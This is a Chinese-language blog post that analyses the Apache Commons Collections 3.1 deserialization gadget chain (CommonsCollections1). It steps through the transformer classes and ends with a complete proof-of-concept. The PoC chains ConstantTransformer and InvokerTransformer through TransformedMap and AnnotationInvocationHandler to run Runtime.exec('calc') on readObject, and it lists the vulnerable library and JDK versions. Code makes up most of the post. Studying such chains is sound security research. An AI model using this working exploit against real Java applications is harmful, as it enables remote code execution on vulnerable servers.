zoukankan      html  css  js  c++  java
  • CommonsCollections1 反序列化利用链分析

    InvokerTransformer

    首先来看 commons-collections-3.1-sources.jar!orgapachecommonscollectionsfunctorsInvokerTransformer.java

    下的 transform 方法

    public Object transform(Object input) {
            if (input == null) {
                return null;
            }
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(iMethodName, iParamTypes);
                return method.invoke(input, iArgs);
                    
            } catch (NoSuchMethodException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
            }
        }
    

    看到这个方法就知道是反射。

    这里传入了一个 object,然后反射调用过程用到了以下3个参数。

    • iMethodName
    • iParamTypes
    • iArgs

    这三个参数在 InvokerTransformer 的构造方法中,就是说这三个参数是我们可控的。

    利用 InvokerTransformer#transform 就可执行任意命令。

    public static void main(String[] args) {
    
        InvokerTransformer IT = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        IT.transform(Runtime.getRuntime());
    }
    

    继续看 commons-collections-3.1-sources.jar!/org/apache/commons/collections/functors/ChainedTransformer.java

    public ChainedTransformer(Transformer[] transformers) {
            super();
            iTransformers = transformers;
        }
    
        /**
         * Transforms the input to result via each decorated transformer
         * 
         * @param object  the input object passed to the first transformer
         * @return the transformed result
         */
        public Object transform(Object object) {
            for (int i = 0; i < iTransformers.length; i++) {
                object = iTransformers[i].transform(object);
            }
            return object;
        }
    

    这里遍历iTransformers并调用transform方法,传入Object对象,这个对象一直变的,执行完这一步操作被赋值再被传入下一步操作依次循环到结束。

    可以编写如下代码来进行执行命令

    Transformer[] T = new Transformer[]{new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
    new ChainedTransformer(T).transform(Runtime.getRuntime());
    

    这里需要调用 transform 并传入 Runtime.getRuntime()

    这里也可以使用 commons-collections-3.1-sources.jar!orgapachecommonscollectionsfunctorsChainedTransformer.java 传入 Runtime.getRuntime() 然后在后面调用 transfrom的时候就会将实例化传入的对象返回。

    public ConstantTransformer(Object constantToReturn) {
            super();
            iConstant = constantToReturn;
        }
    
        /**
         * Transforms the input by ignoring it and returning the stored constant instead.
         * 
         * @param input  the input object which is ignored
         * @return the stored constant
         */
        public Object transform(Object input) {
            return iConstant;
        }
    
    Transformer[] T = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
    
    new ChainedTransformer(T).transform(1);
    

    可以看到上面代码执行命令都需要主动调用 transform ,实战中不会存在这种情况。

    TransformedMap

    来看一下 TransformedMap

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
            return new TransformedMap(map, keyTransformer, valueTransformer);
        }
    
        //-----------------------------------------------------------------------
        /**
         * Constructor that wraps (not copies).
         * <p>
         * If there are any elements already in the collection being decorated, they
         * are NOT transformed.
         * 
         * @param map  the map to decorate, must not be null
         * @param keyTransformer  the transformer to use for key conversion, null means no conversion
         * @param valueTransformer  the transformer to use for value conversion, null means no conversion
         * @throws IllegalArgumentException if map is null
         */
        protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
            super(map);
            this.keyTransformer = keyTransformer;
            this.valueTransformer = valueTransformer;
        }
    
    /**
         * Transforms a key.
         * <p>
         * The transformer itself may throw an exception if necessary.
         * 
         * @param object  the object to transform
         * @throws the transformed object
         */
        protected Object transformKey(Object object) {
            if (keyTransformer == null) {
                return object;
            }
            return keyTransformer.transform(object);
        }
    
        /**
         * Transforms a value.
         * <p>
         * The transformer itself may throw an exception if necessary.
         * 
         * @param object  the object to transform
         * @throws the transformed object
         */
        protected Object checkSetValue(Object value) {
            return valueTransformer.transform(value);
        }
    

    keyTransformer、valueTransformer 都可控。这里我们的目标是调用InvokerTransformer#transform 方法

    前面我们构造了一个 ChainedTransformer 里面包含 ConstantTransformer 和 InvokerTransformer ,所以只要我们能够调用 TransformedMap 的 checkSetValue方法就会相应的调用 ConstantTransformer InvokerTransformer 的transform方法。

    那么如何调用 checkSetValue方法,我们找到 TransformedMap 的父类 AbstractInputCheckedMapDecorator 中发现中有调用 checkSetValue ,这是一个抽象方法 protected abstract Object checkSetValue(Object value); 由其子类实现。所以就变成了只需要调用 setValue 就能执行我们构造的反射链。
    我们来看下 Map 的setValue

    使用 decorate 生成一个 TransformedMap 对象。

    Transformer[] T = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
    ChainedTransformer chainedTransformer = new ChainedTransformer(T);
    Map hm = new HashMap();
    hm.put(1,1);
    Map decorate = TransformedMap.decorate(hm, null, chainedTransformer);
    Map.Entry M = (Map.Entry)decorate.entrySet().iterator().next();
    M.setValue("123");
    

    反序列化利用

    反序列化漏洞的入口都在 readObject 方法,所以需要找到在反序列化进入到readObject 方法时会调用 setValue 的类。这里 ysoserial 的作者提供了类 sun.reflect.annotation.AnnotationInvocationHandler

    这里 AnnotationInvocationHandler 是一个内部类需要使用反射进行实例化。还需要注意一点 待序列化的对象都需要实现 Serializable 接口。但是上面的代码中 Runtime 类没有实现Serializable 接口 所以不可序列化。

    所以需要改一下反射链。

    new Transformer[]{
    		//得到Runtime.class
                    new ConstantTransformer(Runtime.class),
    
    		//得到Method对象(getRuntime)
                    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
    
    		//执行invoke方法,结果是得到Runtime对象
                    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
                            new Object[]{null, new Object[0]}),
    
    		//利用上一步得到的Runtime对象执行exec方法,执行命令 calc
                    new InvokerTransformer("exec", new Class[]{String.class},
                            new Object[]{"calc"})
            };
    
    System.out.println(Runtime.class);// 返回 class java.lang.Runtime  class类是实现了 Serializable 接口的
    

    得出 最后poc

    Transformer[] T = new Transformer[]{new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class},
                            new Object[]{"calc"})};
            ChainedTransformer chainedTransformer = new ChainedTransformer(T);
            Map hm = new HashMap();
            hm.put("value",1);
            Map decorate = TransformedMap.decorate(hm, null, chainedTransformer);
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            declaredConstructor.setAccessible(true);
            Object o = declaredConstructor.newInstance(Target.class, decorate);
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(o);
            oos.close();
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            ois.readObject();
    

    这里 hm.put("value",1); 这里 key必须是value,否则无法触发,还有Target.class相关注解知识,可参考 https://xz.aliyun.com/t/7031#toc-9

    利用条件 commonscollections<=3.2.1 、jdk< 8u71

    参考

    https://github.com/frohoff/ysoserial
    https://xz.aliyun.com/t/7031

  • 相关阅读:
    【SQL】通过Sql实现根据分组合并指定列内容的查询 SamWang
    [转]SQLServer中全文搜索与Like的差异分析
    【笔记】《C#高效编程改进C#代码的50个行之有效的办法》第1章C#语言习惯(1)属性的特性以及索引器(SamWang)
    [转]SqlServer全文索引实例
    [转]visual studio2005中文版无法打开项目文件:*.csproj,提示“此安装不支持该项目类型”的解决办法
    [转]李天平:程序人生成长发展中的一些感悟
    【改进】C# WinForm捕获全局异常 SamWang
    Windows 7 虚拟无线网卡(microserof virtual wifi miniport adapter)功能的使用
    VB.Net 串口通信示例
    VB.Net 串口通信用法
  • 原文地址:https://www.cnblogs.com/depycode/p/13547730.html
Copyright © 2011-2022 走看看